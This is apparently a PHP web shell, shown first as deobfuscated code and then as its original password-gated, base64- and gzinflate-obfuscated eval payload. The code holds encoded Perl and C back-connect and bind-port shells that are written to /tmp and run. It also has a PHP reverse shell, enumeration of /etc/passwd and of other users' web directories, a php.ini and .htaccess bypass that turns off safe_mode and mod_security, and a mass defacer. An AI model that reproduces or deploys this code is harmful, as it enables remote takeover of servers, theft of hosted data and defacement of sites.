                $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
                $bind_port_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
                $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
                echo '<center><h1>Network tools</h1></center><div class=content><center>
	<form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
    <br /><br/><span>Back-connect to</span><br/>
    Server: <input type=\'text\' name=\'server\' value="' . $_SERVER['REMOTE_ADDR'] . '"> Port: <input type=\'text\' name=\'port\' value=\'443\' size=\'5\'> Using: <select name="using"><option value=\'php\'>PHP</option><option value=\'bcp\'>Perl</option><option value=\'bcc\'>C</option></select> <input type=submit value=">>">
    </form><br>
    <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
    <br/><span>Bind port to /bin/sh</span><br/>
    Port: <input type=\'text\' name=\'port\' value=\'443\' size=\'5\'> <input type=\'text\' hidden=\'\' value=\'\' name=\'pass\' value=\'\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
    </form>
    <br>';
                if (isset($_POST['p1'])) {
                    function cf($f, $t)
                    {
                        $w = @fopen($f, "w") or @function_exists('file_put_contents');
                        if ($w) {
                            @fwrite($w, @base64_decode($t)) or @fputs($w, @base64_decode($t)) or @file_put_contents($f, @base64_decode($t));
                            @fclose($w);
                        }
                    }
                    if ($_POST['p1'] == 'bpc') {
                        cf("/tmp/bp.c", $bind_port_c);
                        $out = ex("gcc -o /tmp/bp /tmp/bp.c");
                        @unlink("/tmp/bp.c");
                        $out .= ex("/tmp/bp " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                        echo "<pre class=ml1>{$out}\n" . ex("ps aux | grep bp") . "</pre>";
                    }
                    if ($_POST['p1'] == 'bpp') {
                        cf("/tmp/bp.pl", $bind_port_p);
                        $out = ex(which("perl") . " /tmp/bp.pl " . $_POST['p2'] . " &");
                        echo "<pre class=ml1>{$out}\n" . ex("ps aux | grep bp.pl") . "</pre>";
                    }
                    if ($_POST['p1'] == 'bcc') {
                        cf("/tmp/bc.c", $back_connect_c);
                        $out = ex("gcc -o /tmp/bc /tmp/bc.c");
                        @unlink("/tmp/bc.c");
                        $out .= ex("/tmp/bc " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                        echo "<pre class=ml1>{$out}\n" . ex("ps aux | grep bc") . "</pre>";
                    }
                    if ($_POST['p1'] == 'bcp') {
                        cf("/tmp/bc.pl", $back_connect_p);
                        $out = ex(which("perl") . " /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                        echo "<pre class=ml1>{$out}\n" . ex("ps aux | grep bc.pl") . "</pre>";
                    }
                    if ($_POST['p1'] == 'php') {
                        $ip = $_POST['p2'];
                        $port = $_POST['p3'];
                        $sockfd = fsockopen($ip, $port, $errno, $errstr);
                        if ($errno != 0) {
                            echo "<font color='red'>{$errno} : {$errstr}</font>";
                        } else {
                            if (!$sockfd) {
                                $result = "<p>Unexpected error has occured, connection may have failed.</p>";
                            } else {
                                fputs($sockfd, "\r\n\t\t\t{################################################################}\r\n                \r\n..:: BackConnect Php By Anonymous ::..\r\n                \r\n{################################################################}\r\n");
                                $dir = shell_exec("pwd");
                                $sysinfo = shell_exec("uname -a");
                                $time = Shell_exec("time");
                                $len = 1337;
                                fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "\r\n\r\n");
                                while (!feof($sockfd)) {
                                    $cmdPrompt = '[Anonymous]#:> ';
                                    fputs($sockfd, $cmdPrompt);
                                    $command = fgets($sockfd, $len);
                                    fputs($sockfd, "\r\n" . shell_exec($command) . "\r\n\r\n");
                                }
                                fclose($sockfd);
                            }
                        }
                    }
                    echo "</p>";
                }
                echo "</div></center>";
                printFooter();
            }
            function actionReadable()
            {
                printHeader();
                echo "<center><h1>Readable Dirs</h1></center>";
                echo "<div class=\"content\"><center>";
                $sm = ini_get('safe_mode');
                if ($sm) {
                    echo "<br /><b>Error: safe_mode = on</b><br /><br />";
                } else {
                    @($passwd = file('/etc/passwd', 'r'));
                    if (!$passwd) {
                        echo "<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />";
                    } else {
                        $pub = array();
                        $users = array();
                        $conf = array();
                        $i = 0;
                        foreach ($passwd as $p) {
                            $r = explode(':', $p);
                            $dirz = $r[5] . '/public_html/';
                            if (strpos($r[5], 'home')) {
                                array_push($users, $r[0]);
                                if (is_readable($dirz)) {
                                    array_push($pub, $dirz);
                                }
                            }
                        }
                        echo "<br><br>";
                        echo "[+] Founded " . sizeof($users) . " entrys in /etc/passwd\n" . "<br />";
                        echo "[+] Founded " . sizeof($pub) . " readable public_html directories\n" . "<br /><br /><br />";
                        foreach ($pub as $user) {
                            echo $user . "<br>";
                        }
                        echo "<br /><br /><br />[+] Complete...\n<br />";
                    }
                }
                echo "</div></center>";
                printFooter();
            }
            function actionBypass()
            {
                printHeader();
                echo "<center><h1>Bypass</h1></center>";
                echo "<div class=\"content\">";
                echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED BYPASS |</span></h3>| " . $GLOBALS['cwd'] . " |<br />";
                echo "<a href=# onclick=\"g(null,null,'php.ini',null)\"><br>[ PHP.INI ] </a><a href=# onclick=\"g(null,null,null,'ini')\">[ .htaccess(Mod) ] </a>";
                if (!empty($_POST['p2']) && isset($_POST['p2'])) {
                    $fil = fopen($GLOBALS['cwd'] . ".htaccess", "w");
                    fwrite($fil, '<IfModule mod_security.c>
            Sec------Engine Off
            Sec------ScanPOST Off
            </IfModule>');
                    fclose($fil);
                }
                if (!empty($_POST['p1']) && isset($_POST['p1'])) {
                    $fil = fopen($GLOBALS['cwd'] . "php.ini", "w");
                    fwrite($fil, 'safe_mode = Off
        disable_functions=none');
                    fclose($fil);
                }
                echo "<br><br /><br /></div>";
                echo "</div>";
                printFooter();
            }
            function actionAdminer()
            {
                printHeader();
                echo "<center><h1>Adminer</h1></center>";
                echo "<div class=\"content\">";
                $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
                function adminer($url, $isi)
                {
                    $fp = fopen($isi, "w");
                    $ch = curl_init();
                    curl_setopt($ch, CURLOPT_URL, $url);
                    curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                    curl_setopt($ch, CURLOPT_FILE, $fp);
                    return curl_exec($ch);
                }
                if (file_exists('adminer.php')) {
                    echo "<center><font color=white><br><br><a href='adminer.php' target='_blank'>[ Adminer login ]</a><br><br><br></font></center>";
                } else {
                    if (adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php", "adminer.php")) {
                        echo "<center><font color=white><br><br><a href='adminer.php' target='_blank'>[ Adminer login ]</a><br><br></font></center>";
                    } else {
                        echo "<center><font color=red>Failed to create Adminer file</font></center>";
                    }
                }
                echo "</div>";
                printFooter();
            }
            function actionJumping()
            {
                printHeader();
                echo "<center><h1>Jumping :D</h1></center>";
                echo "<div class=\"content\"><center>";
                $i = 0;
                echo "<pre><div class='margin: 5px auto;'>";
                $etc = fopen("/etc/passwd", "r") or die("<font color=white>Can't read /etc/passwd</font>");
                while ($passwd = fgets($etc)) {
                    if ($passwd == '' || !$etc) {
                        echo "<font color=white>Can't read /etc/passwd</font>";
                    } else {
                        preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
                        foreach ($user_jumping[1] as $user_Anonymous_jump) {
                            $user_jumping_dir = "/home/{$user_Anonymous_jump}/public_html";
                            if (is_readable($user_jumping_dir)) {
                                $i++;
                                $jrw = "[<font color=white>R</font>] <a href='?path={$user_jumping_dir}'><font color=white>{$user_jumping_dir}</font></a>";
                                if (is_writable($user_jumping_dir)) {
                                    $jrw = "[<font color=white>RW</font>] <a href='?path={$user_jumping_dir}'><font color=white>{$user_jumping_dir}</font></a>";
                                }
                                echo $jrw;
                                if (function_exists('posix_getpwuid')) {
                                    $domain_jump = file_get_contents("/etc/named.conf");
                                    if ($domain_jump == '') {
                                        echo " => ( <font color=white>I can't take the domain name</font> )<br>";
                                    } else {
                                        preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
                                        foreach ($domains_jump[1] as $dj) {
                                            $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/{$dj}"));
                                            $user_jumping_url = $user_jumping_url['name'];
                                            if ($user_jumping_url == $user_Anonymous_jump) {
                                                echo " => ( <u>{$dj}</u> )<br>";
                                                break;
                                            }
                                        }
                                    }
                                } else {
                                    echo "<br>";
                                }
                            }
                        }
                    }
                }
                if ($i == 0) {
                } else {
                    echo "<br>Total " . $i . " Directory " . gethostbyname($_SERVER['HTTP_HOST']) . "";
                }
                echo "</div></pre>";
                echo "</div></center>";
                printFooter();
            }
            function actionmailtest()
            {
                if (!function_exists('posix_getegid')) {
                    $user = @get_current_user();
                } else {
                    $uid = @posix_getpwuid(posix_geteuid());
                    $user = $uid['name'];
                }
                $from = "From: Result Doc<darkphoenix@me.com>";
                printHeader();
                echo '<center><h1>Mail Test</h1></center><div class="content"><center><br> 
	
	<table><form name=em onSubmit="g(null,null,\'ems\',this.mailto.value,this.usere.value);return false;"><tr><td><span>Send to</span></td>' . "<td><input type=text name=mailto value=><input type=hidden name=usere value={$user}></td></tr>" . '<tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
                if (isset($_POST['p1'])) {
                    if ($_POST['p1'] == 'ems') {
                        $from_add = $_POST['p3'] . "@" . php_uname('n');
                        $to_add = $_POST['p2'];
                        $subject = "Mail Test";
                        $message = "Test Message : " . $_SERVER["SERVER_NAME"] . $_SERVER["SCRIPT_NAME"];
                        $headers = "From: Mail Test<{$from_add}> \r\n";
                        $headers .= "Reply-To: {$from_add} \r\n";
                        $headers .= "Return-Path: {$from_add}\r\n";
                        $headers .= "X-Mailer: PHP \r\n";
                        if (mail($to_add, $subject, $message, $headers)) {
                            echo "Mail sent to {$_POST['p2']}";
                        } else {
                            echo "Error sending email!";
                        }
                    }
                }
                echo "</div><br></center>";
                printFooter();
            }
            function actionSelfRemove()
            {
                if ($_POST['p1'] == 'yes') {
                    if (@unlink("/var/www/html/input.php")) {
                        die('Shell has been removed');
                    } else {
                        echo "unlink error!";
                    }
                }
                if ($_POST['p1'] != 'yes') {
                    printHeader();
                }
                echo "<center><h1>Suicide</h1></center><div class=content><center><br>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,'yes')\">Yes</a><br></center></div>";
                printFooter();
            }
            function actionDeface()
            {
                printHeader();
                echo "<center><h1>Mass Defacer</h1></center><div class=content><center>";
                ?>
<form ENCTYPE="multipart/form-data" action="<?php 
                $_SERVER['PHP_SELF'];
                ?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">

<p align="center">Folder: <input type=text name=path size=60 value="<?php 
                echo getcwd();
                ?>">
<br>file name : <input type=text name=file size=20 value="index.php">
<br>Text Content : <input type=text name=Contents size=70 value="Add your deface txt here"> 
<br><input type=submit value="Deface now"></p></form>

<?php 
                if ($_POST['a'] == 'Deface') {
                    $mainpath = $_POST[p1];
                    $file = $_POST[p2];
                    $txtContents = $_POST[p3];
                    echo "Mass Defacer script";
                    $dir = opendir($mainpath);
                    //fixme - cannot deface when change to writeable path!!
                    while ($row = readdir($dir)) {
                        $start = @fopen("{$row}/{$file}", "w+");
                        $code = $txtContents;
                        $finish = @fwrite($start, $code);
                        if ($finish) {
                            echo "{$row}/{$file} > Done<br><br>";
                        }
                    }
                }
                echo "</div></center>";
                printFooter();
            }
            function actionDomain()
            {
                printHeader();
                echo "<center><h1>Local Domains</h1></center><div class=content>";
                $file = @implode(@file("/etc/named.conf"));
                $Domain_path = "/var/named";
                if (!$file) {
                    $domains = scandir($Domain_path);
                    $count = 1;
                    $dc = 0;
                    echo "<table align=center border=1 width=40% cellpadding=5>\r\n<tr><td colspan=2>There are : ( <b>" . count($domains) . "</b> ) Domains in this Sever.Can't read named.cof .Domains are bypassed actually,you will face problem in symlink. </td></tr>\r\n<tr><td>No</td><td>Domain</td><td>User</td></tr>";
                    foreach ($domains as &$domain) {
                        if (stripos($domain, ".db")) {
                            $domain = str_replace('.db', '', $domain);
                        }
                        if (strlen($domain) > 6) {
                            echo "<tr><td>" . $count++ . "</td><td><a href='http://" . $domain . "' target='_blank'>" . $domain . "</a></td><td>User</td></tr>";
                        }
                    }
                    echo "</table>";
                } else {
                    $count = 1;
                    preg_match_all("#named/(.*?).db#", $file, $r);
                    $domains = array_unique($r[1]);
                    echo "<table align=center border=1 width=59% cellpadding=5>\r\n<tr><td colspan=2> There are  ( <b>" . count($domains) . "</b> ) Domains in this Sever.I think you have got something this time yeah!!!.</td></tr>\r\n<tr><td>No</td><td>Domain</td><td>User</td></tr>";
                    foreach ($domains as $domain) {
                        $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
                        echo "<tr><td>" . $count++ . "</td><td><a href='http://" . $domain . "' target='_blank'>" . $domain . "</a></td><td>" . $user['name'] . "</td></tr>";
                    }
                }
                printFooter();
            }
            if (empty($_POST['a'])) {
                if (isset($default_action) && function_exists('action' . $default_action)) {
                    $_POST['a'] = $default_action;
                } else {
                    $_POST['a'] = 'SecInfo';
                }
            }
            if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) {
                call_user_func('action' . $_POST['a']);
            }
        };
        exit;
    };
    exit;
};
exit;


Original code

<?php
$Pass = "airm";
$name="ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNHN0ciUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=="; $str="==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